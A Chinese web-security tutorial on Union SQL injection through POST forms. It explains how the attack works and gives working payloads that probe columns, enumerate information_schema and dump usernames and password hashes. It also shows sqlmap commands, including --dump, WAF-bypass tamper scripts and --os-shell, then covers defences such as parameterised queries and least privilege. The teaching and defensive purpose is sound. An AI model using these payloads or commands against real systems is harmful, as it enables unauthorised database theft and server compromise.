当前位置: 首页 > news >正文

POST请求中的Union SQL注入:原理、实战与防御

1. 项目概述:当表单提交成为攻击入口

在Web安全领域,SQL注入是一个老生常谈却又历久弥新的议题。很多刚入门的朋友,一提到SQL注入,脑海里浮现的往往是URL里那些带着单引号、and 1=1GET请求。然而,真正的战场往往藏在更隐蔽的地方——比如一个看似无害的登录框、一个搜索栏,或者一个用户反馈表单。这些通过POST方法提交数据的交互点,恰恰是“藏在表单里的黑客”最钟爱的后门。今天,我们就来深度拆解POST请求中的UnionSQL注入,从攻击者的视角理解其原理,再从防御者的角度构建防线。这不仅是CTF比赛中的高频考点,更是真实企业渗透测试中必须掌握的实战技能。

POST请求与GET请求最大的区别在于数据传递的方式。GET参数明文显示在URL中,而POST数据则封装在HTTP请求体里,对普通用户不可见。这种“隐蔽性”有时会给人一种虚假的安全感,让开发者放松警惕,误以为对输入的处理可以不像GET那样严格。但事实上,无论是GET还是POST,只要用户输入最终被拼接到了数据库查询语句中,而没有经过恰当的过滤或参数化处理,注入漏洞就必然存在。Union注入是其中一种高效的信息获取手段,它利用UNION操作符将恶意查询的结果“拼接”到原始查询结果中,从而直接回显数据库中的敏感信息。理解并复现这个过程,是迈向实战级Web安全的关键一步。

2. 核心原理与攻击面剖析

2.1 POST请求的数据流向与注入点定位

要发起一次成功的POST注入攻击,首先得明白数据从你的浏览器到后端数据库,究竟走了怎样一条路。

  1. 前端交互:用户在网页表单(如登录框usernamepassword)中输入数据。
  2. 请求封装:点击提交后,浏览器将这些表单数据按照application/x-www-form-urlencodedmultipart/form-data等格式进行编码,并放入HTTP请求的Body部分。你不会在地址栏看到?username=admin&password=123456这样的字符串。
  3. 后端处理:Web服务器(如Apache、Nginx)接收到请求,将Body中的数据解析出来,传递给后端编程语言(如PHP、Java、Python)的处理脚本。
  4. 危险拼接:这是漏洞产生的核心环节。后端脚本可能会这样构造SQL语句(以PHP为例):
    $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
    注意,变量$username$password被直接拼接进了SQL字符串。如果用户输入包含SQL元字符(如单引号'),就会改变原SQL语句的语法结构。
  5. 数据库执行与回显:拼接后的SQL语句被发送到数据库(如MySQL、PostgreSQL)执行。如果是一个查询语句(SELECT),查询结果通常会以某种形式返回给前端页面进行展示,比如显示登录成功后的用户信息、搜索结果的列表等。这个“展示”环节,为Union注入提供了数据回显的通道。

攻击面定位:任何接受用户输入并通过POST方式提交,且该输入最终用于动态拼接SQL语句的地方,都是潜在的注入点。最常见的就是登录、注册、搜索、评论、用户资料更新等功能模块。

2.2 Union注入的工作原理与优势

UNION是SQL语言中的一个操作符,用于合并两个或多个SELECT语句的结果集。它有一个关键要求:每个SELECT语句必须拥有相同数量的列,且对应列的数据类型必须兼容。

在注入攻击中,攻击者利用这个特性:

  1. 闭合原查询:首先通过注入单引号、注释符等,使原始查询的语法正确“闭合”,让数据库认为第一条SELECT语句已经结束。
  2. 嫁接恶意查询:然后使用UNION操作符连接上一条我们自己精心构造的SELECT语句。
  3. 匹配列数与类型:我们需要精确判断原查询返回的列数(通常通过ORDER BYUNION SELECT NULL,NULL...逐次增加列数来探测),并确保我们注入的SELECT语句的列数与之一致。数据类型也需要大致匹配,比如原查询某列是字符串,我们注入的对应列也应该是字符串类型,常用'test'@@version等。
  4. 数据回显:由于UNION的结果会一并返回给应用程序,并通常会在页面某处显示出来,我们就能直接看到恶意查询的结果,例如数据库版本、当前用户、所有数据库名、表名、字段名,乃至表中的具体数据(如用户名密码)。

为什么是Union注入?相比于布尔盲注、时间盲注等需要根据页面差异或响应时间进行复杂推断的技术,Union注入是一种“有回显”的注入。一旦成功,数据直接呈现在页面上,效率极高,堪称“直捣黄龙”。POST请求中的Union注入,其原理与GET注入完全一致,区别仅在于攻击载荷的提交位置从URL转移到了HTTP请求体。

注意UNIONUNION ALL在注入中的区别。UNION会自动去重,而UNION ALL会显示所有结果,包括重复的。在注入探测时,如果原查询结果可能重复,使用UNION可能导致我们注入的结果被去重而无法显示,此时可以尝试UNION ALL来确保我们的payload结果一定能被看到。

3. 手动实战:从零开始攻破一个POST登录框

理论说得再多,不如亲手试一次。我们假设目标是一个简单的登录页面,后端存在基于字符串拼接的SQL注入漏洞。我们将完全手动完成这次攻击。

3.1 环境准备与目标侦察

首先,你需要一个安全的测试环境。强烈建议在本地虚拟机或隔离网络中使用诸如DVWA、Pikachu、WebGoat等专为安全学习设计的靶场。切勿对未授权的真实网站进行测试,那是违法行为。

以靶场为例,我们访问一个登录页面 (login.php)。打开浏览器开发者工具(F12),切换到“网络”(Network)选项卡,并勾选“保留日志”(Preserve log)。在登录框随意输入用户名密码(如test/test123)并提交。

在开发者工具的“网络”标签下,你会看到一条POST请求记录。点击它,查看“标头”(Headers)和“负载”(Payload)或“请求体”(Request Body)。你通常会看到类似这样的内容:

POST /login.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=test&password=test123

这里,usernamepassword就是我们的潜在注入参数。同时,观察页面响应。登录失败时,页面可能会显示“用户名或密码错误”。登录成功则会跳转或显示欢迎信息。这个“不同”是我们判断注入是否存在的重要依据。

3.2 漏洞探测与注入点确认

我们的目标是username参数。在请求体中,我们将username的值替换为我们的探测载荷。

第一步:探测是否存在注入漏洞尝试输入一个单引号'。 将username=test改为username='。 提交请求,观察页面响应。如果页面返回了数据库错误信息(如You have an error in your SQL syntax...),那么几乎可以肯定存在SQL注入漏洞。如果页面只是正常显示“登录失败”,则可能需要更精细的探测。

第二步:确认注入类型并闭合语句假设输入'导致了错误,说明原SQL语句可能是:

SELECT * FROM users WHERE username = '' AND password = '...'

我们输入的单引号提前闭合了用户名字符串,导致后面多出了一个孤立的AND password部分,引发语法错误。

为了构造一个语法正确的语句,我们需要注释掉原查询的剩余部分。在SQL中,常用--(注意后面有个空格)或#作为行注释符。 尝试 payload:username=' OR '1'='1' --此时,拼接后的SQL语句变为:

SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'

--注释掉了后面的AND password...,使得查询条件变为username = '' OR '1'='1',这是一个永真条件。如果这个payload能让我们绕过登录,直接进入系统,那么就证实了注入漏洞的存在,并且是一个可被利用的“永真”漏洞。

3.3 确定查询列数

这是Union注入最关键的一步。我们需要知道原SELECT语句查询了多少列,才能让UNION SELECT与之匹配。

方法一:使用 ORDER BY 子句ORDER BY用于根据指定列索引对结果排序。如果ORDER BY 5表示按第5列排序,如果查询结果只有3列,数据库就会报错。我们可以利用这个错误来探测列数。

username参数中,我们依次尝试:

username=' ORDER BY 1 -- username=' ORDER BY 2 -- username=' ORDER BY 3 -- username=' ORDER BY 4 -- ...

ORDER BY n执行成功(页面正常返回),但ORDER BY n+1导致页面错误(或与正常页面明显不同)时,就说明原查询的列数为n

方法二:使用 UNION SELECT NULL如果页面有回显位(即会显示查询结果的部分),我们可以直接使用UNION来探测。

username=' UNION SELECT NULL --

如果列数不对,会报错。我们不断增加NULL的个数,直到页面正常显示(不报错,且可能显示一些额外内容或空白)。

username=' UNION SELECT NULL,NULL -- username=' UNION SELECT NULL,NULL,NULL -- ...

当页面不再报错时,NULL的个数就是列数。NULL可以兼容大多数数据类型。

3.4 寻找回显位与信息收集

假设我们探测出列数为3。接下来,我们需要确定在页面的哪个位置,会显示我们UNION查询的结果。这些位置称为“回显位”。

我们将NULL替换为一些有辨识度的字符串或数据库函数,观察它们出现在页面的何处。

username=' UNION SELECT '回显1', '回显2', '回显3' --

提交后,仔细查看页面源代码。你可能会在标题、表格的某个单元格、甚至是错误信息中,看到“回显1”、“回显2”、“回显3”这些字眼。记下它们出现的位置对应的列索引(第1、2、3列)。

现在,我们就可以利用这些回显位来获取数据库信息了。常用的信息收集payload:

  • 数据库版本@@version(MySQL),version()(PostgreSQL/MySQL)
    username=' UNION SELECT @@version, NULL, NULL --
  • 当前数据库用户user(),current_user()
    username=' UNION SELECT user(), NULL, NULL --
  • 当前数据库名database()
    username=' UNION SELECT database(), NULL, NULL --

假设database()的结果显示在第1列,我们看到了数据库名为websecurity

3.5 爆表、爆字段、爆数据

在MySQL中,系统数据库information_schema存储了所有其他数据库的元数据(如表名、列名)。这是我们进行下一步的钥匙。

  1. 获取所有表名

    SELECT table_name FROM information_schema.tables WHERE table_schema = database()

    由于我们一次只能回显一个单元格的数据,而查询结果可能有多行(多个表名),我们需要使用group_concat()函数将所有结果合并到一行。

    username=' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema = database() --

    假设回显在第2列,我们看到了users,articles,comments...。我们对users表特别感兴趣。

  2. 获取 users 表的所有字段名

    SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'users'
    username=' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_schema = database() AND table_name = 'users' --

    回显可能为id,username,password,email,...

  3. 最终:提取用户名和密码: 现在,我们可以直接查询users表中的敏感数据了。

    username=' UNION SELECT 1, username, password FROM users --

    或者,为了同时获取多行数据,再次使用group_concat:

    username=' UNION SELECT 1, group_concat(username, ':', password), 3 FROM users --

    这样,我们就能在页面上一次性看到所有用户的用户名和密码哈希值(如admin:5f4dcc3b5aa765d61d8327deb882cf99)。

至此,一次完整的手动POSTUnion注入攻击就完成了。我们从一个登录框,一步步拿到了数据库的敏感信息。

4. 自动化利器:Sqlmap在POST注入中的高效利用

手动注入是理解原理的必经之路,但在实战或CTF比赛中,效率至关重要。Sqlmap是一款开源的自动化SQL注入工具,它能极大地简化测试过程。

4.1 基础用法:指定POST数据与参数

首先,你需要将浏览器中捕获到的那个POST请求完整地保存下来。最方便的方法是使用开发者工具的“复制为cURL”功能。你会得到一个长长的cURL命令。

对于Sqlmap,我们主要关心-u(URL) 和--data(POST数据) 这两个参数。

假设你的cURL命令是:

curl 'http://target.com/login.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=test&password=test123'

那么对应的Sqlmap命令为:

sqlmap -u "http://target.com/login.php" --data="username=test&password=test123"

Sqlmap会自动识别--data中的参数(username,password)进行注入测试。它会轮流测试每个参数。

4.2 高级技巧:处理Cookie与复杂场景

  1. 处理登录状态(Cookie):很多注入点位于登录后的页面。你需要先手动登录,从浏览器中复制Cookie值,然后通过--cookie参数提供给Sqlmap

    sqlmap -u "http://target.com/user/profile.php" --data="id=1" --cookie="PHPSESSID=your_session_id_here"
  2. 指定注入参数:如果POST数据中有多个参数,但只有一个是注入点,你可以用-p来指定,节省时间。

    sqlmap -u "http://target.com/login.php" --data="username=test&password=test123" -p username
  3. 指定注入技术Sqlmap默认会尝试所有技术。对于明确的Union注入点,可以指定技术为--technique=U

    sqlmap -u "http://target.com/login.php" --data="username=test&password=test123" --technique=U
  4. 获取Shell(慎用!仅用于授权测试):在确认存在注入且拥有足够权限(如DBA权限)后,Sqlmap可以尝试通过--os-shell参数获取操作系统shell。这需要数据库支持(如MySQL的into outfile)且相关目录有写权限。

    sqlmap -u "http://target.com/vuln.php?id=1" --os-shell

    请注意:此操作极具破坏性,仅在完全可控的测试环境中进行。

4.3 Sqlmap实战流程示例

假设我们对一个搜索功能进行测试(POSTsearch.php,参数为keyword)。

  1. 初步探测

    sqlmap -u "http://test.com/search.php" --data="keyword=apple" --batch --flush-session

    --batch表示以非交互模式运行,所有默认选项都选是。--flush-session清除之前的缓存会话。

  2. 枚举信息:如果发现注入,开始获取信息。

    # 获取当前数据库名 sqlmap -u "http://test.com/search.php" --data="keyword=apple" --current-db # 获取所有表名 sqlmap -u "http://test.com/search.php" --data="keyword=apple" -D 数据库名 --tables # 获取指定表的字段名 sqlmap -u "http://test.com/search.php" --data="keyword=apple" -D 数据库名 -T users --columns # 导出表数据 sqlmap -u "http://test.com/search.php" --data="keyword=apple" -D 数据库名 -T users -C "username,password" --dump

Sqlmap的强大之处在于它能自动处理很多细节,如数据库类型识别、WAF绕过、编码处理等。但理解其背后的手动原理,才能更好地使用和解读工具的输出。

5. 防御之道:从开发层面根除注入风险

攻击是为了更好的防御。了解了攻击的全过程,我们就能在开发中精准地堵上这些漏洞。

5.1 根本大法:使用参数化查询(预编译语句)

这是防御SQL注入最有效、最根本的方法。其原理是将SQL语句的结构数据分离。数据库先编译带占位符的SQL模板,然后再将用户输入的数据作为“参数”传入,数据会被严格地当作数据处理,而不会被解释为SQL代码的一部分。

以Python (pymysql) 为例:

# 错误做法:字符串拼接 cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'") # 正确做法:参数化查询 sql = "SELECT * FROM users WHERE username = %s AND password = %s" cursor.execute(sql, (username, password))

以Java (JDBC) 为例:

// 错误做法:拼接 String sql = "SELECT * FROM users WHERE username = '" + username + "'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql); // 正确做法:PreparedStatement String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs = pstmt.executeQuery();

以PHP (PDO) 为例:

// 错误做法 $stmt = $pdo->query("SELECT * FROM users WHERE username = '$username'"); // 正确做法:参数化查询 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]);

重要心得:参数化查询可以防止几乎所有的SQL注入,因为它从根本上杜绝了“数据”变成“代码”的可能性。无论用户输入什么,在预编译的语句中,它都只是一个参数值。这是所有开发者必须养成的第一习惯。

5.2 严格输入验证与过滤

参数化查询是首选,但在某些复杂场景(如动态表名、列名无法参数化时),输入验证是必要的补充防线。原则是“白名单”优于“黑名单”。

  • 白名单验证:对于已知的、有限的选项(如排序字段orderBy只能是id,name,time),使用白名单。

    $allowed_columns = ['id', 'username', 'created_at']; $orderBy = $_GET['order']; if (!in_array($orderBy, $allowed_columns)) { $orderBy = 'id'; // 设置一个安全的默认值 } $sql = "SELECT * FROM users ORDER BY $orderBy"; // 此时$orderBy是安全的

    注意:即使经过白名单验证,直接拼接变量到SQL中仍有理论风险(如果白名单被绕过),应尽可能结合其他方法。

  • 类型强制转换:对于期望是数字的参数(如ID),直接将其强制转换为整数。

    $id = (int)$_GET['id']; // 非数字会变为0 $sql = "SELECT * FROM articles WHERE id = $id";

    这可以有效防御数字型注入,但对于字符串型注入无效。

  • 转义函数(谨慎使用):如MySQL的mysqli_real_escape_string()。它会对特殊字符进行转义(如'变成\')。但它的使用必须结合正确的数据库连接字符集,且容易因忘记使用或使用不当而失效。它不能替代参数化查询,只能作为最后的手段或在遗留代码中临时修补。

5.3 最小权限原则与纵深防御

  1. 数据库账户权限最小化:Web应用连接数据库的账户,不应拥有DROP,CREATE,FILE,GRANT等高级权限。通常只赋予SELECT,INSERT,UPDATE,DELETE等必要权限。这样即使发生注入,攻击者也无法删除表、读取系统文件或提升权限。
  2. Web应用错误处理:禁止向用户显示详细的数据库错误信息。应使用自定义的错误页面,记录详细的错误日志到服务器后台,而非前端。这可以防止攻击者通过错误信息获取数据库结构等线索(即“报错注入”)。
  3. Web应用防火墙(WAF):在应用前端部署WAF,可以过滤常见的SQL注入攻击载荷。但WAF是规则匹配,可能存在被绕过的风险,不能作为唯一的防御措施。
  4. 定期安全审计与代码扫描:使用静态代码分析工具(SAST)或动态应用安全测试工具(DAST)定期检查代码中的安全漏洞,将SQL注入漏洞在开发阶段就扼杀在摇篮中。

6. 常见问题与疑难排查

在实际操作中,你可能会遇到各种“奇怪”的情况。这里记录一些常见的坑和解决思路。

6.1 注入Payload不生效?可能的原因与对策

现象可能原因排查与解决思路
输入单引号后页面空白或500错误,但无具体信息应用程序开启了错误抑制,或错误信息被全局捕获尝试基于布尔的盲注。使用' AND '1'='1' AND '1'='2观察页面内容是否存在差异(如“用户存在”/“用户不存在”)。利用这种真/假导致的页面差异来推断信息。
Union注入时,ORDER BY一直成功到很大数字也不报错可能原查询使用了SELECT *,而表结构字段很多;或者数据库容忍度较高尝试使用UNION SELECT NULL,NULL...方法,并观察页面回显内容是否发生变化。有时页面会显示我们注入的NULL或替换后的数据,这是判断列数的更可靠方法。
使用Sqlmap测试POST接口,工具提示“所有参数似乎都不注入”1. 真的没有注入点。
2. 存在Token、CSRF防护。
3. 参数需要特定格式或编码。
4. 存在WAF拦截。
1. 手动使用'"\等字符仔细测试。
2. 使用--csrf-token--csrf-url参数处理CSRF。
3. 检查请求是否需要JSON格式 (--data改为JSON字符串,并加--headers="Content-Type: application/json")。
4. 尝试使用--tamper脚本(如space2comment,randomcase)绕过WAF,或降低请求频率--delay=1
能执行Union查询,但回显位找不到应用程序可能只获取结果集的第一行,或者对输出做了过滤/编码1. 尝试让原查询结果为空,使Union结果成为第一行。例如username=-1' UNION SELECT ...
2. 查看页面源代码,回显内容可能被放在HTML注释、JS变量或标签属性中。
3. 尝试UNION SELECT ',看是否能在错误信息中触发回显。

6.2 关于MyBatis中#{}${}的致命区别

这是Java开发中一个经典的安全误区。在MyBatis框架中:

  • #{}:是参数占位符。MyBatis会将其替换为?,并使用PreparedStatement进行参数化查询,能有效防止SQL注入
  • ${}:是字符串替换。MyBatis会直接将参数值替换到SQL语句中,是纯粹的字符串拼接,存在SQL注入风险

错误示例:

<!-- 存在注入风险! --> <select id="findUser" parameterType="String" resultType="User"> SELECT * FROM users WHERE username LIKE '%${username}%' </select>

如果username传入' OR '1'='1,会导致注入。

正确做法:

  1. 永远优先使用#{}
    <select id="findUser" parameterType="String" resultType="User"> SELECT * FROM users WHERE username LIKE CONCAT('%', #{username}, '%') </select>
  2. 如果因动态排序等场景不得不使用${},则必须对传入参数进行严格的白名单过滤,绝对不能让用户直接控制${}中的内容。

6.3 实战中的思维转换:从“攻击”到“防御”

手动注入的过程,本质上是在模拟一个“不信任任何用户输入”的思维。作为开发者,每当你要写下一行拼接SQL的代码时,都应该立刻警醒,问自己三个问题:

  1. 这个输入来自用户吗?(包括URL参数、POST表单、Cookie、HTTP头)
  2. 它是否直接进入了SQL语句?
  3. 我有没有用参数化查询来处理它?

如果答案是“是、是、没有”,那么一个安全漏洞就已经产生了。防御SQL注入,技术手段固然重要,但更重要的是将“安全编码”的意识融入开发的每一个环节。从需求评审、架构设计到代码编写、测试上线,安全都应该是一个贯穿始终的维度。

http://www.jsqmd.com/news/1143327/

相关文章:

  • 文件上传漏洞攻防实战:从WebShell到纵深防御体系构建
  • DVWA靶场实战:从XSS漏洞到Cookie窃取与会话劫持的完整攻击链
  • Mac用户终极指南:5分钟搞定PDM文件查看,告别虚拟机烦恼!
  • MATLAB环境下7维输入的PSO-GRU回归预测工具包(含数据与完整代码)
  • Go语言加密实战:从AES到国密算法,构建安全后端服务
  • Go语言SHA-1哈希函数深度解析:从原理到安全实践
  • STM32F411RE与TS2007FC构建高效音频系统方案
  • XSS正则过滤绕过:从编码技巧到浏览器解析差异的攻防实战
  • JavaScript代码保护实战:从混淆加密到反调试的完整方案
  • WAF绕过实战:5种SQL注入技巧与靶场演示
  • 本地部署AI生图与视频生成:免费高效的完整实践指南
  • 2026年Kali Linux安装指南:虚拟机、物理机与WSL2方案全解析
  • ComfyUI ControlNet Aux终极指南:50+预处理器的完整实战应用
  • PHP反序列化漏洞实战:从CTF题看命令执行与WAF绕过
  • 从tcpdump到Wireshark:网络抓包实战与TCP/HTTP协议深度解析
  • QKeyMapper完全手册:重新定义Windows输入设备控制的技术革命
  • 高校毕业数据一站式管理工具:QT桌面端,支持学生档案、就业去向、考研升学、应征入伍等六类信息维护
  • VC6双进程文件映射共享内存实操工程(含源码+可执行文件)
  • 4S店车辆销售与维修一体化管理系统(SpringBoot+Vue+MySQL完整工程包)
  • Alamofire网络请求安全终极指南:从HTTPS到证书锁定的iOS/macOS开发实践
  • Claude Code 命令大全:从入门到精通的 233个指令速查手册
  • 用 Ace Data Cloud 快速接入 OpenAI 图像生成 API:GPT-Image-2 与 Nano Banana 系列统一调用
  • 使用Wireshark深度解析BACnet协议:从抓包到故障排查实战指南
  • Simulink轻量化BMS仿真模型:SoC实时估算+温压监测+多故障诊断
  • Python Playwright浏览器自动化:从环境搭建到脚本打包全攻略
  • AI隐私保护核心技术解析:差分隐私、联邦学习与同态加密实战
  • FSearch:Linux文件搜索的极速革命,告别缓慢等待的烦恼
  • XSS进阶实战:从属性注入到存储型漏洞的5个关卡设计
  • Win7根证书管理实战:从原理到部署,解决内网HTTPS访问难题
  • RISC-V rv64gc指令集教学实践包:含30条核心指令NEMU验证答案与仿真运行脚本